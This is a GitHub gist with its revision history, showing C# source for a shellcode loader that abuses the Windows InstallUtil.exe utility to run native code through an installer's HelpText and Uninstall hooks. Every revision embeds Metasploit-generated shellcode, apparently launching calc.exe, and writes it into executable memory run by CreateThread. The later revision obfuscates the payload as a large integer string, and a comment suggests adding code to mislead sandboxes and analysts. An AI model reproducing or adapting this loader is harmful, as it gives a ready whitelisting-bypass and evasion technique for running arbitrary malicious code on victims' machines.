Skip to content

Instantly share code, notes, and snippets.

@0xvm

0xvm/gethelp.cs

Created May 14, 2019 04:19
Show Gist options
  • Save 0xvm/a82c47bf2bae20f5269fb5ebe92c85f9 to your computer and use it in GitHub Desktop.
Save 0xvm/a82c47bf2bae20f5269fb5ebe92c85f9 to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. caseysmithrc revised this gist May 13, 2019. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion helpme.cs
    View file
    Original file line number Diff line number Diff line change
    @@ -13,7 +13,7 @@
    Step One:
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /unsafe /platform:x86 /out:helpme.exe helpme.cs
    Step Two:
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /? gethelp.exe
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /? helpme.exe
    */
  2. caseysmithrc revised this gist May 13, 2019. 1 changed file with 201 additions and 0 deletions.
    201 changes: 201 additions & 0 deletions helpme.cs
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,201 @@
    using System;
    using System.Net;
    using System.Diagnostics;
    using System.Reflection;
    using System.Configuration.Install;
    using System.Runtime.InteropServices;
    using System.Numerics;


    /*
    Author: Casey Smith, Twitter: @subTee
    License: BSD 3-Clause
    Step One:
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /unsafe /platform:x86 /out:helpme.exe helpme.cs
    Step Two:
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /? gethelp.exe
    */


    public class Program
    {
    public static void Main()
    {
    Console.WriteLine(" ");

    }

    }

    [System.ComponentModel.RunInstaller(true)]
    public class Sample : System.Configuration.Install.Installer
    {

    // Override the property 'HelpText'.
    public override string HelpText
    {
    get
    {

    helperthing.Exec();

    return "Installer Description : This is a sample Installer\n"
    + "HelpText is used to provide useful information about the "
    + "installer.";
    }
    }


    }

    public class helperthing
    {

    public static UInt32 Hunt()
    {
    long MaxAddress = 0x7fffffff;
    long address = 0;
    do
    {
    MEMORY_BASIC_INFORMATION m;
    int result = VirtualQueryEx(System.Diagnostics.Process.GetCurrentProcess().Handle, (IntPtr)address, out m, (uint)Marshal.SizeOf(typeof(MEMORY_BASIC_INFORMATION)));
    if(m.AllocationProtect == (uint)AllocationProtect.PAGE_EXECUTE_READWRITE)
    {
    Console.Write("{0}\n",m.BaseAddress.ToString("X4"));
    return (UInt32)m.BaseAddress;
    }
    if (address == (long)m.BaseAddress + (long)m.RegionSize)
    break;
    address = (long)m.BaseAddress + (long)m.RegionSize;
    } while (address <= MaxAddress);

    return 0;
    }



    public static void Exec()
    {
    // native function's compiled code
    // generated with metasploit

    string shellint = "955371524831662197453050296989540772601133427792513134757189266616055384522946738163324180769110765597779390197252391557090164718259729729840107949968192814091860765309066732520163572442380967318426462097604343630067577465125551536907969303300239618332410308575489984021791916132446542443585325310348545577443886103501655776708518417061548840435189309944433001317071515187987268591722014297211730798794902082173701662169939938524654453969311529170643230570768636";

    /*
    convert to huge number...
    byte[] helper = {
    0xFC, 0xE8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xE5, 0x31, 0xC0, 0x64,
    0x8B, 0x50, 0x30, 0x8B, 0x52, 0x0C, 0x8B, 0x52, 0x14, 0x8B, 0x72, 0x28,
    0x0F, 0xB7, 0x4A, 0x26, 0x31, 0xFF, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C,
    0x20, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE2, 0xF2, 0x52, 0x57, 0x8B, 0x52,
    0x10, 0x8B, 0x4A, 0x3C, 0x8B, 0x4C, 0x11, 0x78, 0xE3, 0x48, 0x01, 0xD1,
    0x51, 0x8B, 0x59, 0x20, 0x01, 0xD3, 0x8B, 0x49, 0x18, 0xE3, 0x3A, 0x49,
    0x8B, 0x34, 0x8B, 0x01, 0xD6, 0x31, 0xFF, 0xAC, 0xC1, 0xCF, 0x0D, 0x01,
    0xC7, 0x38, 0xE0, 0x75, 0xF6, 0x03, 0x7D, 0xF8, 0x3B, 0x7D, 0x24, 0x75,
    0xE4, 0x58, 0x8B, 0x58, 0x24, 0x01, 0xD3, 0x66, 0x8B, 0x0C, 0x4B, 0x8B,
    0x58, 0x1C, 0x01, 0xD3, 0x8B, 0x04, 0x8B, 0x01, 0xD0, 0x89, 0x44, 0x24,
    0x24, 0x5B, 0x5B, 0x61, 0x59, 0x5A, 0x51, 0xFF, 0xE0, 0x5F, 0x5F, 0x5A,
    0x8B, 0x12, 0xEB, 0x8D, 0x5D, 0x6A, 0x01, 0x8D, 0x85, 0xB2, 0x00, 0x00,
    0x00, 0x50, 0x68, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5,
    0xA2, 0x56, 0x68, 0xA6, 0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x3C, 0x06, 0x7C,
    0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A,
    0x00, 0x53, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65,
    0x00
    };
    BigInteger b = new BigInteger(helper);
    Console.WriteLine("The value of number is {0} \n (or 0x{0:x}).", b);
    Console.ReadLine();
    */
    BigInteger b = BigInteger.Parse(shellint);
    byte[] helper = b.ToByteArray();

    UInt32 funcAddr = VirtualAlloc(0, (UInt32)helper.Length,
    MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    Marshal.Copy(helper , 0, (IntPtr)(funcAddr), helper .Length);
    IntPtr hThread = IntPtr.Zero;
    UInt32 threadId = 0;
    // prepare data


    IntPtr pinfo = IntPtr.Zero;

    // execute native code

    hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
    Console.ReadLine();
    WaitForSingleObject(hThread, 0xFFFFFFFF);

    return;

    }


    private static UInt32 MEM_COMMIT = 0x1000;

    private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

    [DllImport("kernel32")]
    private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
    UInt32 size, UInt32 flAllocationType, UInt32 flProtect);



    [DllImport("kernel32")]
    private static extern IntPtr CreateThread(

    UInt32 lpThreadAttributes,
    UInt32 dwStackSize,
    UInt32 lpStartAddress,
    IntPtr param,
    UInt32 dwCreationFlags,
    ref UInt32 lpThreadId

    );
    [DllImport("kernel32")]
    private static extern bool CloseHandle(IntPtr handle);

    [DllImport("kernel32")]
    private static extern UInt32 WaitForSingleObject(

    IntPtr hHandle,
    UInt32 dwMilliseconds
    );

    [DllImport("kernel32.dll")]
    static extern int VirtualQueryEx(IntPtr hProcess, IntPtr lpAddress, out MEMORY_BASIC_INFORMATION lpBuffer, uint dwLength);

    //MEMORY_BASIC_INFORMATION

    [StructLayout(LayoutKind.Sequential)]
    public struct MEMORY_BASIC_INFORMATION
    {
    public IntPtr BaseAddress;
    public IntPtr AllocationBase;
    public uint AllocationProtect;
    public IntPtr RegionSize;
    public uint State;
    public uint Protect;
    public uint Type;
    }

    public enum AllocationProtect : uint
    {
    PAGE_EXECUTE = 0x00000010,
    PAGE_EXECUTE_READ = 0x00000020,
    PAGE_EXECUTE_READWRITE = 0x00000040,
    PAGE_EXECUTE_WRITECOPY = 0x00000080,
    PAGE_NOACCESS = 0x00000001,
    PAGE_READONLY = 0x00000002,
    PAGE_READWRITE = 0x00000004,
    PAGE_WRITECOPY = 0x00000008,
    PAGE_GUARD = 0x00000100,
    PAGE_NOCACHE = 0x00000200,
    PAGE_WRITECOMBINE = 0x00000400
    }

    }
  3. caseysmithrc renamed this gist May 13, 2019. 1 changed file with 0 additions and 0 deletions.
    0 gistfile1.txt → gethelp.cs
    View file
    File renamed without changes.
  4. caseysmithrc created this gist May 13, 2019.
    241 changes: 241 additions & 0 deletions gistfile1.txt
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,241 @@
    using System;
    using System.Net;
    using System.Diagnostics;
    using System.Reflection;
    using System.Configuration.Install;
    using System.Runtime.InteropServices;

    /*
    Author: Casey Smith, Twitter: @subTee
    License: BSD 3-Clause

    Step One:
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /unsafe /platform:x86 /out:gethelp.exe gethelp.cs
    Step Two:
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /? gethelp.exe

    */


    public class Program
    {
    public static void Main()
    {
    Console.WriteLine("Hey There From Main()");
    //Add any behaviour here to throw off sandbox execution/analysts :)

    }

    }



    [System.ComponentModel.RunInstaller(true)]
    public class Sample : System.Configuration.Install.Installer
    {
    //The Methods can be Uninstall/Install. Install is transactional, and really unnecessary.
    public override void Uninstall(System.Collections.IDictionary savedState)
    {

    Console.WriteLine("Hello There From Uninstall");
    uint a = Shellcode.Hunt();
    if(a>0)
    {
    Console.WriteLine("Found Space\n");
    Shellcode.Exec(a);


    }
    else
    {
    Console.WriteLine("Created Space");
    Shellcode.Exec();
    Console.ReadLine();

    }
    }

    // Override the property 'HelpText'.
    public override string HelpText
    {
    get
    {
    Shellcode.Exec();
    return "Installer Description : This is a sample Installer\n"
    + "HelpText is used to provide useful information about the "
    + "installer.";
    }
    }


    }

    public class Shellcode
    {

    public static UInt32 Hunt()
    {
    long MaxAddress = 0x7fffffff;
    long address = 0;
    do
    {
    MEMORY_BASIC_INFORMATION m;
    int result = VirtualQueryEx(System.Diagnostics.Process.GetCurrentProcess().Handle, (IntPtr)address, out m, (uint)Marshal.SizeOf(typeof(MEMORY_BASIC_INFORMATION)));
    if(m.AllocationProtect == (uint)AllocationProtect.PAGE_EXECUTE_READWRITE)
    {
    Console.Write("{0}\n",m.BaseAddress.ToString("X4"));
    return (UInt32)m.BaseAddress;
    }
    if (address == (long)m.BaseAddress + (long)m.RegionSize)
    break;
    address = (long)m.BaseAddress + (long)m.RegionSize;
    } while (address <= MaxAddress);

    return 0;
    }



    public static void Exec()
    {
    // native function's compiled code
    // generated with metasploit
    byte[] shellcode = new byte[193] {
    0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
    0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
    0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
    0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
    0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
    0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
    0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
    0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
    0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
    0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,
    0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,
    0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,
    0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 };



    UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode .Length,
    MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length);
    IntPtr hThread = IntPtr.Zero;
    UInt32 threadId = 0;
    // prepare data


    IntPtr pinfo = IntPtr.Zero;

    // execute native code

    hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
    Console.ReadLine();
    WaitForSingleObject(hThread, 0xFFFFFFFF);

    return;

    }

    public static void Exec(UInt32 address)
    {
    // native function's compiled code
    // generated with metasploit
    byte[] shellcode = new byte[193] {
    0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
    0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
    0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
    0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
    0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
    0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
    0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
    0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
    0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
    0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,
    0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,
    0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,
    0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 };



    UInt32 funcAddr = address;
    Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length);
    IntPtr hThread = IntPtr.Zero;
    UInt32 threadId = 0;
    // prepare data


    IntPtr pinfo = IntPtr.Zero;

    // execute native code

    hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
    WaitForSingleObject(hThread, 0xFFFFFFFF);
    return;

    }

    private static UInt32 MEM_COMMIT = 0x1000;

    private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

    [DllImport("kernel32")]
    private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
    UInt32 size, UInt32 flAllocationType, UInt32 flProtect);



    [DllImport("kernel32")]
    private static extern IntPtr CreateThread(

    UInt32 lpThreadAttributes,
    UInt32 dwStackSize,
    UInt32 lpStartAddress,
    IntPtr param,
    UInt32 dwCreationFlags,
    ref UInt32 lpThreadId

    );
    [DllImport("kernel32")]
    private static extern bool CloseHandle(IntPtr handle);

    [DllImport("kernel32")]
    private static extern UInt32 WaitForSingleObject(

    IntPtr hHandle,
    UInt32 dwMilliseconds
    );

    [DllImport("kernel32.dll")]
    static extern int VirtualQueryEx(IntPtr hProcess, IntPtr lpAddress, out MEMORY_BASIC_INFORMATION lpBuffer, uint dwLength);

    //MEMORY_BASIC_INFORMATION

    [StructLayout(LayoutKind.Sequential)]
    public struct MEMORY_BASIC_INFORMATION
    {
    public IntPtr BaseAddress;
    public IntPtr AllocationBase;
    public uint AllocationProtect;
    public IntPtr RegionSize;
    public uint State;
    public uint Protect;
    public uint Type;
    }

    public enum AllocationProtect : uint
    {
    PAGE_EXECUTE = 0x00000010,
    PAGE_EXECUTE_READ = 0x00000020,
    PAGE_EXECUTE_READWRITE = 0x00000040,
    PAGE_EXECUTE_WRITECOPY = 0x00000080,
    PAGE_NOACCESS = 0x00000001,
    PAGE_READONLY = 0x00000002,
    PAGE_READWRITE = 0x00000004,
    PAGE_WRITECOPY = 0x00000008,
    PAGE_GUARD = 0x00000100,
    PAGE_NOCACHE = 0x00000200,
    PAGE_WRITECOMBINE = 0x00000400
    }

    }